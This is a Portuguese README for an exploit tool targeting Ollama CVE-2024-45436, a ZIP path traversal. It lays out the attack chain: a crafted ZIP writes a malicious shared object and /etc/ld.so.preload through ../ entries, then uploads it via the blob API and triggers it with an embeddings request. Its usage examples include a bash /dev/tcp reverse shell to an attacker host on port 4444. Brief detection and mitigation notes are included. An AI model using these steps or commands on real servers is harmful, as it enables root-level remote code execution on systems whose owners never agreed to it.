Exploit Ollama CVE-2024-45436

Uma implementação de exploit limpa e eficiente para a vulnerabilidade de travessia ZIP do Ollama (CVE-2024-45436). 中文文档：README_CN.md

Descrição da Vulnerabilidade

CVE-2024-45436 é uma vulnerabilidade de travessia de caminho (também conhecida como "Zip Slip") no Ollama em versões anteriores a 0.1.47. A vulnerabilidade permite que atacantes escrevam arquivos em locais arbitrários no sistema de arquivos, explorando a validação inadequada de caminhos durante operações de extração de arquivos ZIP.

A falha existe na função extractFromZipFile no arquivo model.go do Ollama, que extrai arquivos de modelos. Quando um arquivo ZIP contém entradas com caminhos que incluem sequências de travessia de diretório (../), o Ollama extrai esses arquivos para fora do diretório pretendido, potencialmente permitindo que um atacante sobrescreva arquivos críticos do sistema.

Mecanismo do Exploit

Este exploit aproveita a vulnerabilidade através da seguinte abordagem:

1. Cria um arquivo de objeto compartilhado malicioso (hook.so) contendo código de execução de comando arbitrário
2. Empacota-o em um arquivo ZIP especialmente criado com entradas de travessia de caminho:
   • ../../../../../../../../../../etc/ld.so.preload - Usado para pré-carregar objetos compartilhados personalizados
   • ../../../../../../../../../../tmp/hook.so - O próprio objeto compartilhado malicioso
3. Envia o arquivo ZIP através da API de blob do Ollama
4. Cria um modelo referenciando o blob carregado
5. Aciona a execução solicitando embeddings ao Ollama

Quando executado com sucesso, o payload é executado com as mesmas permissões do serviço Ollama, potencialmente concedendo execução remota de código como root.

Requisitos

• Python 3.6+
• Pacotes Python necessários:
  • requests
  • argparse
• GCC (para compilar o objeto compartilhado)
• Uma instância vulnerável do Ollama (pré-0.1.47) rodando em Linux

Uso

python exp.py <target_url> <command>

Argumentos

• target_url: A URL da instância vulnerável do Ollama (ex.: http://example.com:11434)
• command: O comando a ser executado no sistema alvo

Opções

• --no-cleanup: Não remover arquivos temporários após a exploração (útil para depuração)

Exemplos

Uso básico:

python exp.py http://target-server:11434 "id > /tmp/pwned"

Shell reverso:

python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. O uso não autorizado contra sistemas sem permissão explícita é ilegal e antiético. O autor não se responsabiliza pelo uso indevido deste software.

Detecção

As organizações podem detectar se são vulneráveis:

1. Verificando sua versão do Ollama com /api/version
2. Procurando por arquivos inesperados em /etc/ld.so.preload ou /tmp/hook.so
3. Monitorando atividades incomuns de criação de modelos

Mitigação

• Atualizar o Ollama para a versão 0.1.47 ou superior
• Se a atualização imediata não for possível, restrinja o acesso de rede aos endpoints da API do Ollama
• Execute o Ollama com privilégios mínimos, não como root

Detalhes Técnicos

A vulnerabilidade explora a validação inadequada de caminhos no processo de extração de arquivos ZIP do Ollama. Quando um modelo é carregado através da API, a aplicação extrai arquivos de um arquivo ZIP sem sanitizar adequadamente os caminhos dos arquivos, permitindo ataques de travessia de diretório.

O arquivo ld.so.preload é usado no Linux para especificar bibliotecas compartilhadas que devem ser carregadas antes de todas as outras. Ao escrever neste arquivo, o atacante pode garantir que sua biblioteca maliciosa seja carregada por qualquer novo processo, efetivamente sequestrando a execução do programa.

Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.